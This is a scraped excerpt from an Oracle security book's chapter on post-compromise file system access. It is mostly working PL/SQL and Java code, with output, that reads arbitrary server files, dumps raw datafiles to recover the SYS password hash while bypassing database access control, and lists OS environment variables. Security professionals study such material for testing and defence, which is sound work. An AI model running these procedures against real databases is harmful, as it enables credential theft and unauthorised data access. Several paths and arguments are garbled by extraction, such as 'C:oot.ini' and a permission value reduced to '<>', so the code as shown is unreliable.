Accessing the File System

Once a server has been compromised, an attacker may want to explore the file system - indeed, numerous Oracle files contain user IDs and passwords, so attackers may be able to elevate privileges if they have not already done so. Accessing the file system can be achieved using PL/SQL or Java. Because access to the file system is achieved with the privileges of the account used to run the server, attackers can gain direct, raw access to the database datafiles. As such, all database-enforced access control can be completely bypassed. You already saw this in Chapter 8, "Defeating Virtual Private Databases."

Accessing the File System Using the UTL_FILE Package

The UTL_FILE package enables Oracle users to read and write to the file system. As already noted, access to files on the file system is achieved with the privileges of the Oracle user - so anything this user can read or write to can be read or written to by anyone else. The following PL/SQL code can be used to read files from the file system:

CREATE OR REPLACE PROCEDURE READ_FILE(DIRNAME VARCHAR2, FNAME VARCHAR2)
AS
invalid_path EXCEPTION;
access_denied EXCEPTION;
PRAGMA EXCEPTION_INIT(invalid_path, -29280);
PRAGMA EXCEPTION_INIT(access_denied, -29289);
FD UTL_FILE.FILE_TYPE;
BUFFER VARCHAR2(260);
BEGIN

 EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY RW_FILE AS ''' ||
DIRNAME || '''';
 FD := UTL_FILE.FOPEN('RW_FILE',FNAME,'r');
 DBMS_OUTPUT.ENABLE(1000000);
 LOOP
 UTL_FILE.GET_LINE(FD,BUFFER,254);
 DBMS_OUTPUT.PUT_LINE(BUFFER);
 END LOOP;
 EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';

EXCEPTION WHEN invalid_path THEN
 DBMS_OUTPUT.PUT_LINE('File location or path is
invalid.');
 IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
 UTL_FILE.FCLOSE(FD);
 END IF;
 EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
 WHEN access_denied THEN
 DBMS_OUTPUT.PUT_LINE('Access is denied.');
 IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
 UTL_FILE.FCLOSE(FD);
 END IF;
 EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
 WHEN NO_DATA_FOUND THEN
 DBMS_OUTPUT.PUT_LINE('End of file.');
 IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
 UTL_FILE.FCLOSE(FD);
 END IF;
 EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
 WHEN OTHERS THEN
 IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN
 UTL_FILE.FCLOSE(FD);
 END IF;
 DBMS_OUTPUT.PUT_LINE('There was an error.');
 EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE';
END;
/
EXEC READ_FILE('C:','boot.ini');


Accessing the File System Using Java

Using the UTL_FILE package to access the file system requires that a user has either access to a DIRECTORY object or the privilege to create a DIRECTORY object. Using Java instead does not require the presence of a DIRECTORY - but rather the read and write java.io.FilePermission. This can be granted with a call to DBMS_JAVA.GRANT_PERMISSION:

exec dbms_java.grant_permission('SCOTT',
'SYS:java.io.FilePermission','<>','read');

exec dbms_java.grant_permission('SCOTT',
'SYS:java.io.FilePermission','<>','write');

The following code enables a user to read a file with the privileges of the Oracle user:

set serveroutput on
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADFILE
{
 public static void readfile(String filename) throws IOException
 {
 FileReader f = new FileReader(filename);
 BufferedReader fr = new BufferedReader(f);
 String text = fr.readLine();;
 while(text != null)
 {
 System.out.println(text);
 text = fr.readLine();
 }
 fr.close();

 }
}
/

CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVAREADFILE.readfile (java.lang.String)';
/
exec dbms_java.set_output(2000);
exec JAVAREADFILEPROC('C:oot.ini')

Clearly, the preceding code is much neater than using UTL_FILE and dispatches with those pesky DIRECTORY objects.


Accessing Binary Files

Accessing binary-based files is a little bit odd with Oracle's Java - if the file is too large it will send the server's CPU spinning at 100 percent. As such, when accessing a file, you need to do so in small chunks. The following code takes a filename as its first parameter and a file offset as its second parameter. It then reads 512 bytes from that offset.

SET ESCAPE ON
SET ESCAPE ""
SET SERVEROUTPUT ON

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADBINFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADBINFILE
{
 public static void readbinfile(String f, int start) throws
IOException
 {
 FileInputStream fis;
 DataInputStream dis;
 try
 {
 int i;
 int ih,il;
 int cnt = 1, h=0,l=0;
 String hex[] = {"0", "1", "2","3", "4", "5", "6", "7",
"8","9", "A", "B", "C", "D", "E"," F"};

 RandomAccessFile raf = new RandomAccessFile (f, "r");
 raf.seek (start);
 for(i=0; i<=512; i++)
 {

 ih = il = raf.readByte() & 0xFF;
 h = ih >> 4;
 l = il & 0x0F;



 System.out.print("\\x" + hex[h] + hex[l]);
 if(cnt \% 16 == 0)

 System.out.println();
 cnt ++;

 }


 }
 catch (EOFException eof)
 {
 System.out.println();
 System.out.println("EOF reached ");
 }
 catch (IOException ioe)
 {
 System.out.println("IO error: "+ ioe);
 }
 }
}
/
show errors
/
CREATE OR REPLACE PROCEDURE JAVAREADBINFILEPROC (p_filename IN
VARCHAR2, p_start in number)
AS LANGUAGE JAVA
NAME 'JAVAREADBINFILE.readbinfile (java.lang.String, int)';
/
show errors
/

By directly accessing the Oracle datafiles using the following code, you can entirely bypass access control as enforced by the database server. For example, the following output shows accessing the part of the SYSTEM01.DBF file where the USER$ table is stored:

set serveroutput on
exec dbms_java.set_output(2000);
SQL> exec
JAVAREADBINFILEPROC('C:\oracle\oradata\orcl\system01.DBF',448767)
x53x59x53x02xC1x02x10x30x44x34x37x42x35x35x30x43
x35x46x37x30x44x45x44x01x80x02xC1x04x07x78x69x0A
x1Bx04x3Cx23x07x78x6Ax03x11x0Ex24x12xFFxFFx01x80
xFFx02xC1x02xFFxFFx01x80x01x80x09x53x59x53x5Fx47
x52x4Fx55x50x6Cx00x11x05x06x53x59x53x54x45x4Dx02
xC1x02x10x44x34x44x46x37x39x33x31x41x42x31x33x30
x45x33x37x01x80x01x80x07x78x69x0Ax1Bx04x3Cx23x07
x78x69x0Ax1Bx04x3Cx23xFFxFFx01x80xFFx02xC1x02xFF
xFFx01x80x01x80x09x53x59x53x5Fx47x52x4Fx55x50x6C
x00x11x0Ex0Cx41x51x5Fx55x53x45x52x5Fx52x4Fx4Cx45
x01x80xFFx01x80x01x80x07x78x69x0Ax1Bx05x03x3CxFF

xFFxFFx01x80xFFx02xC1x02xFFxFFx01x80x01x80x16x44
x45x46x41x55x4Cx54x5Fx43x4Fx4Ex53x55x4Dx45x52x5F
x47x52x4Fx55x50xACx00x01x01x00x01x00x00x40x00x36
x00x0Fx00x40x00x36x00x0Fx02xC1x10x6Cx00x11x0Dx15
x41x51x5Fx41x44x4Dx49x4Ex49x53x54x52x41x54x4Fx52
x5Fx52x4Fx4Cx45x01x80xFFx01x80x01x80x07x78x69x0A
x1Bx05x03x3CxFFxFFxFFx01x80xFFx02xC1x02xFFxFFx01
x80x01x80x16x44x45x46x41x55x4Cx54x5Fx43x4Fx4Ex53
x55x4Dx45x52x5Fx47x52x4Fx55x50xACx00x01x01x00x01
x00x00x40x00x36x00x0Ex00x40x00x36x00x0Ex02xC1x0F
x6Cx00x07x05x01x80x01x80x02xC1x61x01x80x01x80x01
x80x01x80x6Cx00x11x0Cx16x52x45x43x4Fx56x45x52x59
x5Fx43x41x54x41x4Cx4Fx47x5Fx4Fx57x4Ex45x52x01x80
xFFx01x80x01x80x07x78x69x0Ax1Bx05x02x2CxFFxFFxFF
x01x80xFFx02xC1x02xFFxFFx01x80x01x80x16x44x45x46
x41x55x4Cx54x5Fx43x4Fx4Ex53x55x4Dx45x52x5Fx47x52
x4Fx55x50xACx00x01x01x00x01x00x00x40x00x36x00x0D

If you look at the first line of output, the first 3 bytes are x53x59x53 - this is "SYS". Skipping the next 4 bytes and taking the next 16 you have the following:

"x30x44x34x37x42x35x35x30x43x35x46x37x30x44x45x44"

This translates to "0D47B550C5F70DED," which is the password hash for the SYS user. Confirming this, you can run the following select:

SQL> select password from dba_users where username = 'SYS';

PASSWORD
------------------------------
0D47B550C5F70DED

The code can be wrapped in a loop to extract an entire datafile. See the section on "Data Exfiltration" in Chapter 12 for more about this.


Exploring Operating System Environment Variables

Oracle 10g introduced a procedure called GET_ENV in the DBMS_SYSTEM package. This procedure takes the name of an environment variable and returns its value. It will not return the value for the PATH environment variable, however:

CREATE OR REPLACE PROCEDURE DUMP_ENV AS
BUFFER VARCHAR2(260);

BEGIN
 -- SYS.DBMS_SYSTEM.GET_ENV WON'T GIVE BACK THE
 -- PATH ENVIRONMENT VARIABLE

 SYS.DBMS_SYSTEM.GET_ENV('ORACLE_HOME',BUFFER);
 DBMS_OUTPUT.PUT_LINE('ORACLE_HOME: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('ORACLE_SID',BUFFER);
 DBMS_OUTPUT.PUT_LINE('ORACLE_SID: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('COMPUTERNAME',BUFFER);
 DBMS_OUTPUT.PUT_LINE('COMPUTERNAME: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('OS',BUFFER);
 DBMS_OUTPUT.PUT_LINE('OS: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('TEMP',BUFFER);
 DBMS_OUTPUT.PUT_LINE('TEMP: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('WINDIR',BUFFER);
 DBMS_OUTPUT.PUT_LINE('WINDIR: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('SYSTEMROOT',BUFFER);
 DBMS_OUTPUT.PUT_LINE('SYSTEMROOT: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('PROGRAMFILES',BUFFER);
 DBMS_OUTPUT.PUT_LINE('PROGRAMFILES: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('COMSPEC',BUFFER);
 DBMS_OUTPUT.PUT_LINE('COMSPEC: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('PROCESSOR_ARCHITECTURE',BUFFER);
 DBMS_OUTPUT.PUT_LINE('PROCESSOR_ARCHITECTURE: ' || BUFFER);
 SYS.DBMS_SYSTEM.GET_ENV('PROCESSOR_IDENTIFIER',BUFFER);
 DBMS_OUTPUT.PUT_LINE('PROCESSOR_IDENTIFIER: ' || BUFFER);

END DUMP_ENV;
/
EXEC DUMP_ENV;

This procedure produces the following output:

ORACLE_HOME: C:oracleproduct10.1.0Db_1
ORACLE_SID: orcl10g
COMPUTERNAME: GLADIUS
OS: Windows_NT
TEMP: C:WINDOWSTEMP
WINDIR: C:WINDOWS
SYSTEMROOT: C:WINDOWS
PROGRAMFILES: C:Program Files
COMSPEC: C:WINDOWSsystem32cmd.exe
PROCESSOR_ARCHITECTURE: x86
PROCESSOR_IDENTIFIER: x86 Family 6 Model 9 Stepping 5, GenuineIntel


Wrapping Up

This chapter examined a number of ways to access the file system and use it as a mechanism for bypassing access control. You also looked at a brief section on using DBMS_SYSTEM for dumping environment variables.




Oracle Hacker's Handbook. Hacking and Defending Oracle
The Oracle Hackers Handbook: Hacking and Defending Oracle
ISBN: 0470080221
EAN: 2147483647
Year: 2004
Pages: 101

Flylib.com © 2008-2020.
If you may any questions please contact us: flylib@qtcs.net